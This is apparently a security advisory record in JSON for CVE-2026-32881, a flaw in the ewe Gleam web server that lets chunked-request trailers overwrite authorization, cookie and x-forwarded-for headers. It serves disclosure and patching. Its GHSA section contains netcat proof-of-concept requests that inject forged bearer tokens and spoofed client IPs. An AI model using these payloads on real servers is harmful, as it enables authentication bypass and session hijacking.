{"id":"CVE-2026-32881","aliases":["EUVD-2026-13431","GHSA-9w88-79f8-m3vp"],"status":"published","title":"ewe has an Overly Permissive List of Allowed Inputs","description":"ewe is a Gleam web server. ewe is a Gleam web server. Versions 0.6.0 through 3.0.4 are vulnerable to authentication bypass or spoofed proxy-trust headers. Chunked transfer encoding trailer handling merges declared trailer fields into req.headers after body parsing, but the denylist only blocks 9 header names.  A malicious client can exploit this by declaring these headers in the Trailer field and appending them after the final chunk, causing request.set_header to overwrite legitimate values (e.g., those set by a reverse proxy). This enables attackers to forge authentication credentials, hijack sessions, bypass IP-based rate limiting, or spoof proxy-trust headers in any downstream middleware that reads headers after ewe.read_body is called. This issue has been fixed in version 3.0.5.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00402,"percentile":0.34936,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-183"],"published":"2026-03-16T20:49:36Z","modified":"2026-10-28T02:31:06Z","fixes":[{"ecosystem":"Hex","package":"ewe","fixed_in":["3.0.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Hex","package":"ewe","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.0"},{"fixed":"3.0.5"}]}]},{"source":"osv","ecosystem":"Hex","package":"ewe","ranges":[{"type":"SEMVER","events":[{"introduced":"0.6.0"},{"fixed":"3.0.5"}]}],"versions":["0.10.0","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","1.0.0","1.0.0-rc1","1.0.0-rc2","1.0.1","2.0.0","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.1.3","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4"]}],"products":[{"vendor":"vshakitskiy","product":"ewe"}],"references":[{"url":"https://github.com/vshakitskiy/ewe/security/advisories/GHSA-9w88-79f8-m3vp","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/vshakitskiy/ewe/commit/07dcfd2135fc95f38c17a9d030de3d7efee1ee39","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/vshakitskiy/ewe/commit/94ab6e7bf7293e987ae98b4daa51ea131c2671ba","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/vshakitskiy/ewe/releases/tag/v3.0.5","tags":["x_refsource_MISC","Patch","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32881","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9w88-79f8-m3vp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32881.json","tags":["advisory"]},{"url":"https://github.com/vshakitskiy/ewe","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-32881","title":"ewe has an Overly Permissive List of Allowed Inputs","description":"ewe is a Gleam web server. ewe is a Gleam web server. Versions 0.6.0 through 3.0.4 are vulnerable to authentication bypass or spoofed proxy-trust headers. Chunked transfer encoding trailer handling merges declared trailer fields into req.headers after body parsing, but the denylist only blocks 9 header names.  A malicious client can exploit this by declaring these headers in the Trailer field and appending them after the final chunk, causing request.set_header to overwrite legitimate values (e.g., those set by a reverse proxy). This enables attackers to forge authentication credentials, hijack sessions, bypass IP-based rate limiting, or spoof proxy-trust headers in any downstream middleware that reads headers after ewe.read_body is called. This issue has been fixed in version 3.0.5.","status":"published","published":"2026-03-20T01:18:55.382Z","modified":"2026-03-20T20:03:41.064Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-183"],"updated_at":"2026-11-02T14:19:57.47301Z"}],"euvd":[{"id":"EUVD-2026-13431","description":"ewe is a Gleam web server. ewe is a Gleam web server. Versions 0.6.0 through 3.0.4 are vulnerable to authentication bypass or spoofed proxy-trust headers. Chunked transfer encoding trailer handling merges declared trailer fields into req.headers after body parsing, but the denylist only blocks 9 header names.  A malicious client can exploit this by declaring these headers in the Trailer field and appending them after the final chunk, causing request.set_header to overwrite legitimate values (e.g., those set by a reverse proxy). This enables attackers to forge authentication credentials, hijack sessions, bypass IP-based rate limiting, or spoof proxy-trust headers in any downstream middleware that reads headers after ewe.read_body is called. This issue has been fixed in version 3.0.5.","status":"published","published":"2026-03-20T01:18:55Z","modified":"2026-03-20T20:03:41Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:32.04432Z"}],"ghsa":[{"id":"GHSA-9w88-79f8-m3vp","title":"Permissive List of Allowed Inputs in ewe","description":"## Summary\n\newe's chunked transfer encoding trailer handling merges declared trailer fields into `req.headers` after body parsing, but the denylist only blocks 9 header names. Security-sensitive headers like `authorization`, `cookie`, and `x-forwarded-for` can be injected or overwritten by a malicious client via trailers, potentially bypassing authentication or spoofing proxy-trust headers.\n\n## Impact\n\nWhen `ewe.read_body` processes a chunked request with a `Trailer` header, it calls `handle_trailers` (`ewe/internal/http1.gleam:493`), which merges declared trailer fields into `req.headers` via `request.set_header` (line 517). The `is_forbidden_trailer` denylist (line 534) only blocks 9 header names: `transfer-encoding`, `content-length`, `host`, `cache-control`, `expect`, `max-forwards`, `pragma`, `range`, and `te`.\n\nSecurity-sensitive headers are not blocked, including:\n\n- `authorization` — attacker can inject or overwrite Bearer tokens\n- `cookie` / `set-cookie` — attacker can inject session cookies\n- `proxy-authorization` — attacker can inject proxy credentials\n- `x-forwarded-for`, `x-forwarded-host`, `x-forwarded-proto` — attacker can spoof proxy-trust headers\n- `x-real-ip` — attacker can spoof client IP\n\nA malicious client can inject these headers by declaring them in the `Trailer` request header and including them after the final `0\\r\\n` chunk. If the header already exists (e.g., set by a reverse proxy), `request.set_header` overwrites it. Any application logic that reads these headers after calling `ewe.read_body` — such as authentication middleware, IP-based rate limiting, or session validation — will see the attacker-controlled values.\n\n### Proof of Concept\n\n**Inject an `authorization` header that didn't exist:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: authorization\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nauthorization: Bearer injected-token\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\n**Overwrite a legitimate `authorization` header set by a proxy:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nAuthorization: Bearer legitimate-token\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: authorization\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nauthorization: Bearer evil-token\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\n**Inject `x-forwarded-for` to spoof client IP:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: x-forwarded-for\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nx-forwarded-for: 10.0.0.1\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\n## Patches\n\n- Expand the denylist in `is_forbidden_trailer` to include `authorization`, `cookie`, `set-cookie`, `proxy-authorization`, `x-forwarded-for`, `x-forwarded-host`, `x-forwarded-proto`, `x-real-ip`, and other security-sensitive headers.\n- Alternatively, switch to an allowlist model that only permits explicitly safe trailer field names.","status":"published","published":"2026-03-16T20:49:36Z","modified":"2026-03-20T21:19:06Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-183"],"updated_at":"2026-11-02T14:39:39.567266Z"}],"nvd":[{"id":"CVE-2026-32881","description":"ewe is a Gleam web server. ewe is a Gleam web server. Versions 0.6.0 through 3.0.4 are vulnerable to authentication bypass or spoofed proxy-trust headers. Chunked transfer encoding trailer handling merges declared trailer fields into req.headers after body parsing, but the denylist only blocks 9 header names.  A malicious client can exploit this by declaring these headers in the Trailer field and appending them after the final chunk, causing request.set_header to overwrite legitimate values (e.g., those set by a reverse proxy). This enables attackers to forge authentication credentials, hijack sessions, bypass IP-based rate limiting, or spoof proxy-trust headers in any downstream middleware that reads headers after ewe.read_body is called. This issue has been fixed in version 3.0.5.","status":"published","published":"2026-03-20T02:16:36.237Z","modified":"2026-06-17T10:36:30.087Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-183"],"updated_at":"2026-11-02T14:12:10.126802Z"}],"osv":[{"id":"CVE-2026-32881","title":"ewe has an Overly Permissive List of Allowed Inputs","description":"ewe is a Gleam web server. ewe is a Gleam web server. Versions 0.6.0 through 3.0.4 are vulnerable to authentication bypass or spoofed proxy-trust headers. Chunked transfer encoding trailer handling merges declared trailer fields into req.headers after body parsing, but the denylist only blocks 9 header names.  A malicious client can exploit this by declaring these headers in the Trailer field and appending them after the final chunk, causing request.set_header to overwrite legitimate values (e.g., those set by a reverse proxy). This enables attackers to forge authentication credentials, hijack sessions, bypass IP-based rate limiting, or spoof proxy-trust headers in any downstream middleware that reads headers after ewe.read_body is called. This issue has been fixed in version 3.0.5.","status":"published","published":"2026-03-20T01:18:55.382Z","modified":"2026-10-28T02:31:06.384230991Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-183"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"GHSA-9w88-79f8-m3vp","title":"Permissive List of Allowed Inputs in ewe","description":"## Summary\n\newe's chunked transfer encoding trailer handling merges declared trailer fields into `req.headers` after body parsing, but the denylist only blocks 9 header names. Security-sensitive headers like `authorization`, `cookie`, and `x-forwarded-for` can be injected or overwritten by a malicious client via trailers, potentially bypassing authentication or spoofing proxy-trust headers.\n\n## Impact\n\nWhen `ewe.read_body` processes a chunked request with a `Trailer` header, it calls `handle_trailers` (`ewe/internal/http1.gleam:493`), which merges declared trailer fields into `req.headers` via `request.set_header` (line 517). The `is_forbidden_trailer` denylist (line 534) only blocks 9 header names: `transfer-encoding`, `content-length`, `host`, `cache-control`, `expect`, `max-forwards`, `pragma`, `range`, and `te`.\n\nSecurity-sensitive headers are not blocked, including:\n\n- `authorization` — attacker can inject or overwrite Bearer tokens\n- `cookie` / `set-cookie` — attacker can inject session cookies\n- `proxy-authorization` — attacker can inject proxy credentials\n- `x-forwarded-for`, `x-forwarded-host`, `x-forwarded-proto` — attacker can spoof proxy-trust headers\n- `x-real-ip` — attacker can spoof client IP\n\nA malicious client can inject these headers by declaring them in the `Trailer` request header and including them after the final `0\\r\\n` chunk. If the header already exists (e.g., set by a reverse proxy), `request.set_header` overwrites it. Any application logic that reads these headers after calling `ewe.read_body` — such as authentication middleware, IP-based rate limiting, or session validation — will see the attacker-controlled values.\n\n### Proof of Concept\n\n**Inject an `authorization` header that didn't exist:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: authorization\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nauthorization: Bearer injected-token\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\n**Overwrite a legitimate `authorization` header set by a proxy:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nAuthorization: Bearer legitimate-token\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: authorization\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nauthorization: Bearer evil-token\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\n**Inject `x-forwarded-for` to spoof client IP:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: x-forwarded-for\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nx-forwarded-for: 10.0.0.1\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\n## Patches\n\n- Expand the denylist in `is_forbidden_trailer` to include `authorization`, `cookie`, `set-cookie`, `proxy-authorization`, `x-forwarded-for`, `x-forwarded-host`, `x-forwarded-proto`, `x-real-ip`, and other security-sensitive headers.\n- Alternatively, switch to an allowlist model that only permits explicitly safe trailer field names.","status":"published","published":"2026-03-16T20:49:36Z","modified":"2026-03-20T21:32:45.688129Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-183"],"updated_at":"2026-11-02T15:46:44.225359Z"}]}}
